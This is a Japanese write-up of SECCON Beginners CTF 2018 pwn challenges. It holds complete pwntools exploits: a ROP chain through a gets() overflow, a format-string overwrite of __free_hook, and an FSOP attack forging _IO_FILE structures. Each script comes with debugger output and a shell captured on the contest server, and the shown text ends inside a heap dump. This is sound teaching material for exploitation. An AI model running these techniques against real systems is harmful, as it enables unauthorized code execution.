SECCON Beginners CTF 2018 writeup

# BBS(Pwn, 304 points)
```
最近，BBSって言って掲示板だと伝わる人はどれくらいいるのでしょうね．

Host: pwn1.chall.beginners.seccon.jp
Port: 18373
```

シンプルなバッファオーバーフロー問題。

## ファイル情報
```shell-session
# file ./bbs 
./bbs: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=20a00ca00d583c94a30bd50c94a1ea03dc8d6ad2, not stripped
```

```shell-session
# checksec ./bbs 
[*] '(snip)/bbs'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

## 動作概要など
### 操作関連
+ 入力を求められて、何か文字列を入力すると現在の時刻と入力文字列が出力される。

``` shell-session
# ./bbs 
Input Content : hogehoge

==============================

(snip)
hogehoge

==============================
```

### 解析関連
+ 特になし

## 脆弱点
入力文字列をgets()するところ(0x4006c4)にバッファオーバーフローの脆弱性が存在する。
checksecの結果`Stack:    No canary found`からスタック上にcanaryが存在しないことが分かっているので、問題なく戻りアドレスを上書きできる。
![Image1.png](https://qiita-image-store.s3.amazonaws.com/0/242139/77c9db92-40a0-39f6-16ba-0e28924cd7a3.png)

## 考察
+ ユーザからの文字列読み込み開始アドレスは`$rbp-0x80`なので、戻りアドレス($rbp+8)はそこから0x88バイト目にある。
+ アドレスが固定で、かつ書き込み可能な場所に文字列`/bin/sh\0`をgets()などで読み込み、そのアドレスを引数にしてsystem()を呼ぶ。
+ 読み込み先は.bssとする。
+ gets()やsystem()の引数は`$rdi`なので、ROPガジェットのうち`pop rdi; ret`のアドレスを下記のように求めておく。

```shell-session
# ./rp-lin-x86 -f ./bbs -r2 --unique | grep "pop rdi"
0x00400763: pop rdi ; ret  ;  (1 found)
```


## 方針
1. 埋め草を0x88バイト分送って、その後に下記のようなROPを組む。
    + `pop rdi; ret`
    + .bss
    + PLT上のgets()
    + `pop rdi; ret`
    + .bss
    + PLT上のsystem()
2. 上記gets()用の入力文字列として`/bin/sh\0`を送る。

## exploit
```python
from pwn import *

context.log_level = 'INFO'

BIN = './bbs'

elf = ELF(BIN)

gets_plt = elf.symbols['gets']
system_plt = elf.symbols['system']

bss = elf.bss()

poprdi = 0x400763 # pop rdi ; ret

target = 'pwn1.chall.beginners.seccon.jp'
port = 18373

conn = remote(target, port)

payload = ''
payload += 'A' * 0x88
payload += p64(poprdi)
payload += p64(bss)
payload += p64(gets_plt)
payload += p64(poprdi)
payload += p64(bss)
payload += p64(system_plt)

conn.sendlineafter('Content : ', payload)
conn.sendline('/bin/sh\0')

conn.interactive()

conn.close()
```

##実行結果
```shell-session
# python solve.py 
[*] '(snip)/bbs'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pwn1.chall.beginners.seccon.jp on port 18373: Done
[*] Switching to interactive mode

==============================

(snip)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc\x07@

==============================
$ ls
bbs
flag.txt
$ cat flag.txt
ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}
```

# Seczon(Pwn, 388 points)-その1(__free_hook書き換え)
```
オンラインショッピング機能の模型を作成しました。脆弱性がないか検査してみてください。

Host: pwn1.chall.beginners.seccon.jp
Port: 21735
```

初心者向けなのにヒープ問題??と思ったら実際はフォーマットストリングバグ(FSB)だった。
なんかfree()が呼ばれてるけど、呼び元はどこかな・・・と調べてたらそこが解法の糸口だった。

## ファイル情報
```shell-session
# file ./seczon
./seczon: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b9624bde785613fb24aa38a932e652011a12fb8b, not stripped
```

```shell-session
# checksec ./seczon
[*] '(snip)/seczon'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

## 動作概要など
### 操作関連
+ itemをリストに追加して、commentを入力できる

``` shell-session
# ./seczon
+---------------------+
|      Seczon.com     |
+---------------------+
|1) Add a item        |
|2) Comment a item    |
|3) Show a item       |
|4) Delete a item     |
+---------------------+
Action:
>> 1
Input item name
>> AAAA
Action:
>> 1
Input item name
>> BBBB
Action:
>> 3
Choose item ID
>> 0
AAAA
Action:
>> 2
Choose item ID
>> 0
Input a comment
>> aaaa
Confirmation
AAAA
aaaa
Action:
>> 3
Choose item ID
>> 0
AAAA
aaaa
Action:
>> 4
Choose item ID
>> 0
Action:
>> 3
Choose item ID
>> 0
Invalid ID
Action:
>> 
```

### 解析関連
+ Full RELROなのでGOT書き換えは不可。
+ PIEが効いているので、実行ファイルがロードされるアドレスは毎回変わる。
+ 最初にinit()内で600(0x3c * 0xA)バイトのヒープ領域を確保し、そのアドレスを.bss上のlist(0x304c)に保存する。
+ itemをAddするごとに上記ヒープ領域から60バイトずつ切り出す。
+ item情報の構造体要素は下記。
    + name(20バイト)
    + comment(36バイト)
    + 領域確保済みフラグ(4バイト)
+ Actionとして1～4以外を入力するとmain()が終了し、.fini_array経由でfin()が呼ばれる。
    + fin()内ではfree()が呼ばれる。

## 脆弱点
comment入力後に、Confirmationとしてコメント対象itemのnameと入力したcommentを表示する。このときcomment表示処理(0xd4f)においてFSBが存在する。

![2018-05-28_165041.png](https://qiita-image-store.s3.amazonaws.com/0/242139/b2f584b0-3bdc-32d3-bf41-42a958103876.png)

+ commentとして'AAAA.%x.%x.%x.%x'を入力すると、スタックの内容を読み出せる。

```shell-session
>> AAAA.%x.%x.%x.%x
Confirmation
AAAA
AAAA.23.f7fb65a0.56555cad.f7fb6000
```
このときのスタック(esp周辺)の状態は下記。
4つの`%x`によって、スタックの01番目の値から順次読み出せていることが分かる。

```shell-session
─────────────────────────────────────────[ STACK ]──────────────────────────────────────────
00:0000│ esp  0xffffd550 —▸ 0xffffd569 ◂— 0x41414141 ('AAAA')
01:0004│      0xffffd554 ◂— 0x23 /* '#' */
02:0008│      0xffffd558 —▸ 0xf7fb65a0 (_IO_2_1_stdin_) ◂— 0xfbad208b
03:000c│      0xffffd55c —▸ 0x56555cad (comment+38) ◂— mov    dword ptr [ebp - 0x34], eax
04:0010│      0xffffd560 —▸ 0xf7fb6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
05:0014│      0xffffd564 ◂— 0x0
06:0018│      0xffffd568 ◂— 0x41414198
07:001c│      0xffffd56c ◂— 'A.%x.%x.%x.%x\n'
```


## 考察
+ 入力したcommentのうち、特定の4バイト分がスタック上の何番目の値になるのかを求める。また、1つの`%x`でその4バイト分がきっちり読み出せるように、あらかじめ何バイト分をcommentの先頭に追加するのかも求める。

```shell-session:特定の4バイト分が1つの%xにきっちり収まらないとき
Input a comment
>> AAAA.%x.%x.%x.%x.%x.%x.%x.%x
Confirmation
AAAA
AAAA.23.f7fb65a0.56555cad.f7fb6000.0.41414198.78252e41.2e78252e
```
```shell-session:特定の4バイト分が1つの%xにきっちり収まるとき-1
Input a comment
>> aaaAAAA.%x.%x.%x.%x.%x.%x.%x.%x
Confirmation
AAAA
aaaAAAA.23.f7fb65a0.56555cad.f7fb6000.0.61616198.41414141.2e78252e
```
```shell-session:特定の4バイト分が1つの%xにきっちり収まるとき-2
Input a comment
>> aaaAAAA.%7$x
Confirmation
AAAA
aaaAAAA.41414141
```

上記より、特定の4バイト分は「事前に3バイト表示したときの7番目の%x」によって読み出されることが分かる。

+ Full RELROだとGOT上書きができないので、`__free_hook`にsystem()のlibc上アドレスを書き込むことを考える。
    + fin()でのfree()実行時、引数として.bss上のlistのアドレスがスタックにpushされる(下記0xb1c～0xb24)。ここで1つめのitemのnameに`/bin/sh`を書いておけばlistのアドレスがそのまま文字列`/bin/sh`のアドレスとなる。
    + その状態で`__free_hook`経由でsystem()が呼ばれると、system('/bin/sh')を呼んだのと同じことになる。
    + (32bitのlibcにはOne-Gadget-RCEが無い、となぜか思い込んでいたため、、、今回はlibc上のsystem()のアドレスを書き込んだ。)

![2018-05-28_165728.png](https://qiita-image-store.s3.amazonaws.com/0/242139/aa3092cc-ddb6-b00a-ee32-568994432ccc.png)

+ どこかのアドレスをリークさせることを考える。
    + 脆弱点(0xd4f)でのprintf()実行時のスタックの状況は下記のとおり。

```shell-session:プログラム実行後、メモリマップを見てみる
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56555000 0x56557000 r-xp     2000 0      (snip)/seczon
0x56557000 0x56558000 r--p     1000 1000   (snip)/seczon
0x56558000 0x56559000 rw-p     1000 2000   (snip)/seczon
0x56559000 0x5657a000 rw-p    21000 0      [heap]
0xf7e03000 0xf7e04000 rw-p     1000 0      
0xf7e04000 0xf7fb4000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb6000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb7000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb7000 0xf7fba000 rw-p     3000 0      
0xf7fd3000 0xf7fd4000 rw-p     1000 0      
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]
```
```shell-session:printf()実行部分にブレークポイントを張る
pwndbg> set $base=0x56555000
pwndbg> b *($base+0xd4f)
Breakpoint 1 at 0x56555d4f
```
```shell-session:0xd4fでのbreak時
─────────────────────────────────────────[ STACK ]──────────────────────────────────────────
00:0000│ esp    0xffffd550 —▸ 0xffffd569 ◂— 'hogecomment\n'
01:0004│        0xffffd554 ◂— 0x23 /* '#' */
02:0008│        0xffffd558 —▸ 0xf7fb65a0 (_IO_2_1_stdin_) ◂— 0xfbad208b
03:000c│        0xffffd55c —▸ 0x56555cad (comment+38) ◂— mov    dword ptr [ebp - 0x34], eax
04:0010│        0xffffd560 —▸ 0xf7fb6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
05:0014│        0xffffd564 ◂— 0x0
06:0018│ eax-1  0xffffd568 ◂— 0x676f6898
07:001c│        0xffffd56c ◂— 'ecomment\n'
```

上記スタックの値のうち、02番目の値(0xf7fb65a0)からシンボル`_IO_2_1_stdin_`のアドレスが得られる。
ここで、与えられたlibcにおけるシンボル`_IO_2_1_stdin_`のオフセット値は下記のようにして求められる。

```shell-session
# nm -D ./libc-2.23.so | grep _IO_2_1_stdin_
001b25a0 D _IO_2_1_stdin_
```

## 方針
1. nameが「/bin/sh」のitemをAddする。
2. comment入力時のFSBによりスタック上のシンボル`_IO_2_1_stdin_`の値をリークさせる。
3. 上記でリークさせた値から、下記の値を求める。
    + libcの配置アドレス(libc_base)
    + `__free_hook`のlibc上アドレス
    + `system()`のlibc上アドレス
4. FSBにより__free_hookのlibc上アドレスに`system()`のlibc上アドレスを書き込む。
5. `Action: `にてメニュー選択肢にない文字を入力するとshellが起動する。

## exploit
```python
from pwn import *

context.log_level = 'INFO'

BIN = './seczon'
LIBC = './libc-2.23.so'

elf = ELF(BIN)
libc = ELF(LIBC)

free_hook_offset = libc.symbols['__free_hook']
system_offset = libc.symbols['system']
stdin_offset = libc.symbols['_IO_2_1_stdin_']

target = 'pwn1.chall.beginners.seccon.jp'
port = 21735

conn = remote(target, port)

def add(name):
	conn.sendlineafter('Action:\n>> ', '1')
	conn.sendlineafter('name\n>> ', name)

def comment(id, comment):
	conn.sendlineafter('Action:\n>> ', '2')
	conn.sendlineafter('ID\n>> ', str(id))
	conn.sendlineafter('comment\n>> ', comment)
	
	conn.recvline()
	res1 = conn.recvline().strip()
	res2 = conn.recvline().strip()
	
	return [res1, res2]

add('/bin/sh')

payload = ''
payload += 'B' * 4
payload += '.%2$x'

res = comment(0, payload)[1].split('.')
libc_base = int(res[1], 16) - stdin_offset

__free_hook = libc_base + free_hook_offset
system_addr = libc_base + system_offset

log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('__free_hook: {0}'.format(hex(__free_hook)))
log.info('system_addr: {0}'.format(hex(system_addr)))

addr1 = (system_addr >> 16)
addr2 = (system_addr & 0xffff)

payload = 'aaa'
payload += p32(__free_hook + 2)
payload += '%{0}c%7$hn'.format(str(addr1 - 7))
comment(0, payload)

payload = 'aaa'
payload += p32(__free_hook)
payload += '%{0}c%7$hn'.format(str(addr2 - 7))
comment(0, payload)

conn.sendlineafter('Action:\n>> ', 'a')

conn.interactive()

conn.close()
```

##実行結果
```shell-session
# python solve.py 
[*] '(snip)/seczon'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '(snip)/libc-2.23.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn1.chall.beginners.seccon.jp on port 21735: Done
[*] libc_base: 0xf7563000
[*] __free_hook: 0xf77168b0
[*] system_addr: 0xf759dda0
[*] Switching to interactive mode
$ ls
flag.txt
seczon
$ cat flag.txt
ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}
```

# Seczon(Pwn, 388 points)-その2(それFSOPで)
FSOP(File Stream Oriented Programming)という手法があるのを知ったので、その方法で解いてみた。

## FSOPとは
`abort()`とか`exit()`とかが呼ばれたりしたときや`main`からの復帰時、`_IO_flush_all_lockp()`が呼ばれる。
`_IO_flush_all_lockp()`では、`_IO_list_all`から指されている`_IO_FILE`構造体たち(単方向リストでチェインされている)それぞれの`vtable`において`_IO_OVERFLOW`に定義された関数が呼ばれる。(ただし条件あり)
このとき`_IO_OVERFLOW`に任意の関数アドレスを定義しておくとその関数を呼べる。
※最近のglibcでは`vtable`の妥当性チェックが入っているので別の方法を採る必要がある。今回はglibc-2.23なので大丈夫。

詳しくは[下記参照先](https://qiita.com/zunil2_test/items/154147e1475964149510#%E5%8F%82%E7%85%A7%E5%85%88)へ。

## 考察
### _IO_OVERFLOWが呼ばれるまでの流れ
今回は`main`からの復帰時に各関数が下記の順で呼ばれることを利用する。
1. `exit()`(from 0x1863e@libc(`__libc_start_main+254`))
2. `__run_exit_handlers()`(from 0x2e9ea@libc)
    3. `_IO_cleanup()`(from 0x2e938@libc)
4. `_IO_flush_all_lockp()`(from 0x6bb7b@libc)
5. `_IO_OVERFLOW`(from 0x6b9e4@libc)

### `_IO_flush_all_lockp()`で`_IO_OVERFLOW`が呼ばれるまで
主に使う構造体は下記。
`_IO_FILE_plus`構造体の説明にあるとおり、`_IO_FILE`構造体には必ず`_IO_jump_t`構造体であるvtableへのポインタが存在する。vtableの3番目(オフセット0xc)の`JUMP_FIELD`に`_IO_OVERFLOW`のアドレスが入っている。

```c:_IO_FILE(libio.hの241～307行目あたり)
struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
```

```c:_IO_FILE_plus(libioP.hの337～346行目あたり)
/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};
```

```c:_IO_jump_t(libioP.hの307～335行目あたり)
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
```

`_IO_list_all`から最初の`_IO_FILE`構造体を持ってくる。
各`_IO_FILE`構造体には次の`_IO_FILE`構造体へのポインタである`_chain`要素が存在するので、現在の`_IO_FILE`構造体に対する処理が終了すれば次の`_IO_FILE`構造体をリストからたどって処理していくことになる。(今回は気にしない)

```c:genops.c(758～772行目あたり)
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;

(snip)

  fp = (_IO_FILE *) _IO_list_all;
```

`_IO_FILE`構造体(fp)が条件を満たせば`fp`と`EOF`を引数にして`_IO_OVERFLOW`を実行する。

```c:genops.c(779～786行目あたり)
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
```

```nasm:上記らへんに該当する箇所の逆アセンブル結果
   0x6b9b9:     mov    edx,DWORD PTR [ebx+0x68]
   0x6b9bc:     test   edx,edx
   0x6b9be:     jle    0x6bad0
   0x6b9c4:     movsx  eax,BYTE PTR [ebx+0x46]
   0x6b9c8:     test   al,al
   0x6b9ca:     jne    0x6b9fb
   0x6b9cc:     mov    edx,DWORD PTR [ebx+0x58]
   0x6b9cf:     mov    ecx,DWORD PTR [edx+0xc]
   0x6b9d2:     cmp    DWORD PTR [edx+0x10],ecx
   0x6b9d5:     jbe    0x6b9fb
   0x6b9d7:     sub    esp,0x8
   0x6b9da:     mov    eax,DWORD PTR [ebx+eax*1+0x94]
   0x6b9e1:     push   0xffffffff
   0x6b9e3:     push   ebx
   0x6b9e4:     call   DWORD PTR [eax+0xc]
```

```nasm
   0x6bad0:     mov    eax,DWORD PTR [ebx+0x10]
   0x6bad3:     cmp    DWORD PTR [ebx+0x14],eax
   0x6bad6:     jbe    0x6b9fb
   0x6badc:     movsx  eax,BYTE PTR [ebx+0x46]
   0x6bae0:     jmp    0x6b9d7
```

### 偽の`_IO_FILE_plus`構造体について
偽の`_IO_FILE_plus`作成に際し、[参照先[3]の記載](http://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#FILE-py-FILE%E7%BB%93%E6%9E%84%E4%BD%93%E4%BC%AA%E9%80%A0%E6%A8%A1%E5%9D%97)(下記)を参考にした。

```python
_IO_FILE_plus_size = {
	'i386':0x98,
	'amd64':0xe0
}
_IO_FILE_plus = {
	'i386':{
		0x0:'_flags',
		0x4:'_IO_read_ptr',
		0x8:'_IO_read_end',
		0xc:'_IO_read_base',
		0x10:'_IO_write_base',
		0x14:'_IO_write_ptr',
		0x18:'_IO_write_end',
		0x1c:'_IO_buf_base',
		0x20:'_IO_buf_end',
		0x24:'_IO_save_base',
		0x28:'_IO_backup_base',
		0x2c:'_IO_save_end',
		0x30:'_markers',
		0x34:'_chain',
		0x38:'_fileno',
		0x3c:'_flags2',
		0x40:'_old_offset',
		0x44:'_cur_column',
		0x46:'_vtable_offset',
		0x47:'_shortbuf',
		0x48:'_lock',
		0x4c:'_offset',
		0x54:'_codecvt',
		0x58:'_wide_data',
		0x5c:'_freeres_list',
		0x60:'_freeres_buf',
		0x64:'__pad5',
		0x68:'_mode',
		0x6c:'_unused2',
		0x94:'vtable'
	},
	'amd64':{
		0x0:'_flags',
		0x8:'_IO_read_ptr',
		0x10:'_IO_read_end',
		0x18:'_IO_read_base',
		0x20:'_IO_write_base',
		0x28:'_IO_write_ptr',
		0x30:'_IO_write_end',
		0x38:'_IO_buf_base',
		0x40:'_IO_buf_end',
		0x48:'_IO_save_base',
		0x50:'_IO_backup_base',
		0x58:'_IO_save_end',
		0x60:'_markers',
		0x68:'_chain',
		0x70:'_fileno',
		0x74:'_flags2',
		0x78:'_old_offset',
		0x80:'_cur_column',
		0x82:'_vtable_offset',
		0x83:'_shortbuf',
		0x88:'_lock',
		0x90:'_offset',
		0x98:'_codecvt',
		0xa0:'_wide_data',
		0xa8:'_freeres_list',
		0xb0:'_freeres_buf',
		0xb8:'__pad5',
		0xc0:'_mode',
		0xc4:'_unused2',
		0xd8:'vtable'
	}
}
```

## 方針
1. FSBを利用して下記を求めておく。
    + libcの配置アドレス
    + プログラムの配置アドレス
    + ヒープ領域の開始アドレス
    + `_IO_list_all`のアドレス
    + `system()`のlibc上のアドレス
2. ヒープ領域に偽の`_IO_FILE_plus`構造体(fake_struc)を作成する。このとき`_IO_OVERFLOW`の第一引数となる`fake_struc`の先頭に文字列`/bin/sh`を書き込んでおく。
3. `fake_struc`がポイントする`vtable(_IO_jump_t構造体)`として、`_IO_OVERFLOW`にあたる部分に`system()`のlibc上アドレスが書き込まれた領域をヒープ領域に作成する(他の部分は適当)。
4. `_IO_list_all`のアドレスに`fake_struc`の先頭アドレスを書き込む。
5. `Action: `にてメニュー選択肢にない文字を入力するとshellが起動する。

## exploit
```python
from pwn import *

context.log_level = 'INFO'

BIN = './seczon'
LIBC = './libc-2.23.so'

elf = ELF(BIN)
libc = ELF(LIBC)

system_offset = libc.symbols['system']
stdin_offset = libc.symbols['_IO_2_1_stdin_']
io_list_all_offset = libc.symbols['_IO_list_all']

codebase_offset = 0xcad
list_offset = 0x304c

target = 'pwn1.chall.beginners.seccon.jp'
port = 21735

conn = remote(target, port)

def add(name):
	conn.sendlineafter('>> ', '1')
	conn.sendafter('>> ', name)

def comment(id, comment):
	conn.sendlineafter('>> ', '2')
	conn.sendlineafter('>> ', str(id))
	conn.sendlineafter('>> ', comment)
	
	conn.recvline()
	res1 = conn.recvline().strip()
	res2 = conn.recvline().strip()
	
	return res2

def writemem(dest, addr):
	fmt1 = (addr >> 16)
	fmt2 = addr & 0xffff
	
	payload = 'aaa'
	payload += p32(dest + 2)
	payload += '%' + str(fmt1 - 4 - 3) + 'c%7$hn'
	
	conn.sendlineafter('>> ', '2')
	conn.sendlineafter('>> ', str(0))
	conn.sendlineafter('>> ', payload)
	
	payload = 'aaa'
	payload += p32(dest)
	payload += '%' + str(fmt2 - 4 - 3) + 'c%7$hn'
	
	conn.sendlineafter('>> ', '2')
	conn.sendlineafter('>> ', str(0))
	conn.sendlineafter('>> ', payload)

def readmem(addr):
	payload = ''
	payload += 'aaa'
	payload += p32(addr)
	payload += '.%7$s'
	
	res = comment(0, payload).split('.')[1]
	return res

add('A\n') #0

payload = ''
payload += 'B' * 4
payload += '.%x' * 3

res = comment(0, payload).split('.')
libc_base = int(res[2], 16) - stdin_offset
code_base = int(res[3], 16) - codebase_offset

list_addr = code_base + list_offset
heap_base = u32(readmem(list_addr)) - 8
io_list_all_addr = libc_base + io_list_all_offset
system_libc = libc_base + system_offset

wide_data = heap_base + 0x60

log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('code_base: {0}'.format(hex(code_base)))
log.info('heap_base: {0}'.format(hex(heap_base)))
log.info('io_list_all_addr: {0}'.format(hex(io_list_all_addr)))
log.info('system_libc: {0}'.format(hex(system_libc)))

payload = ''
payload += p32(0x42)
payload += p32(0) * 2
payload += '/bin/sh'

add(payload) #1

payload = ''
payload += p32(0) * 2
payload += p32(0)
payload += p32(0)
payload += '\n'
add(payload) #2

payload = ''
payload += 'gomi\n'
add(payload) #3

payload = ''
payload += p32(0) * 1
payload += p32(0)
payload += p32(0)
payload += p32(0) * 3
payload += p32(0x1)
payload += p32(0)

comment(1, payload)

payload = ''
payload += p32(0) * 5
payload += p32(wide_data)
payload += p32(0) * 2

comment(2, payload)

payload = ''
payload += p32(0) * 5
payload += p32(heap_base + 0xf8)
payload += p32(0) * 2

comment(3, payload)

payload = ''
payload += p32(0) * 3
payload += p32(system_libc)
payload += '\n'
add(payload) #4

fake_struc = heap_base + 0x50
writemem(io_list_all_addr, fake_struc)

conn.sendlineafter('>> ', '0')
conn.interactive()

conn.close()
```

## 検証メモ
`1.` FSBを利用して下記を求めておく。

+ libcの配置アドレス
+ プログラムの配置アドレス
+ ヒープ領域の開始アドレス
+ `_IO_list_all`のアドレス
+ `system()`のlibc上のアドレス

```shell-session
pwndbg> vmmap 
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5663f000 0x56641000 r-xp     2000 0      (snip)/seczon
0x56641000 0x56642000 r--p     1000 1000   (snip)/seczon
0x56642000 0x56643000 rw-p     1000 2000   (snip)/seczon
0x56d5e000 0x56d7f000 rw-p    21000 0      [heap]
0xf7d58000 0xf7d59000 rw-p     1000 0      
0xf7d59000 0xf7f09000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7f09000 0xf7f0b000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7f0b000 0xf7f0c000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7f0c000 0xf7f0f000 rw-p     3000 0      
0xf7f2a000 0xf7f2b000 rw-p     1000 0      
0xf7f2b000 0xf7f2e000 r--p     3000 0      [vvar]
0xf7f2e000 0xf7f30000 r-xp     2000 0      [vdso]
0xf7f30000 0xf7f53000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7f53000 0xf7f54000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7f54000 0xf7f55000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xff81c000 0xff83d000 rw-p    21000 0      [stack]
```

```python
[*] libc_base: 0xf7d59000
[*] code_base: 0x5663f000
[*] heap_base: 0x56d5e000
[*] io_list_all_addr: 0xf7f0bca0
[*] system_libc: 0xf7d93da0
```

`2.` ヒープ領域に偽の`_IO_FILE_plus`構造体(fake_struc)を作成する。このとき`_IO_OVERFLOW`の引数となる`fake_struc->_flags`の部分に文字列`/bin/sh`を書き込んでおく。

```shell-session:fake_strucの先頭アドレスは0x56d5e050
pwndbg> x/72x 0x56d5e000
0x56d5e000:     0x00000000      0x00000261      0x00000041      0x00000000
0x56d5e010:     0x00000000      0x00000000      0x00000000      0x4c616161
0x56d5e020:     0x2e566420      0x73243725      0xa000000a      0x00f7f0b5
0x56d5e030:     0x00000000      0x00f7f0b0      0x98f7f0b0      0x00000a32
0x56d5e040:     0x00000001      0x00000000      0x00000000      0x00000000
0x56d5e050:     0x6e69622f      0x0068732f      0x00000000      0x00000000
0x56d5e060:     0x00000000      0x00000000      0x00000000      0x00000000
0x56d5e070:     0x00000001      0x00000000      0x0000000a      0x00000001
0x56d5e080:     0x00000000      0x00000000      0x00000000      0x00000000
0x56d5e090:     0x0000000a      0x00000000      0x00000000      0x00000000
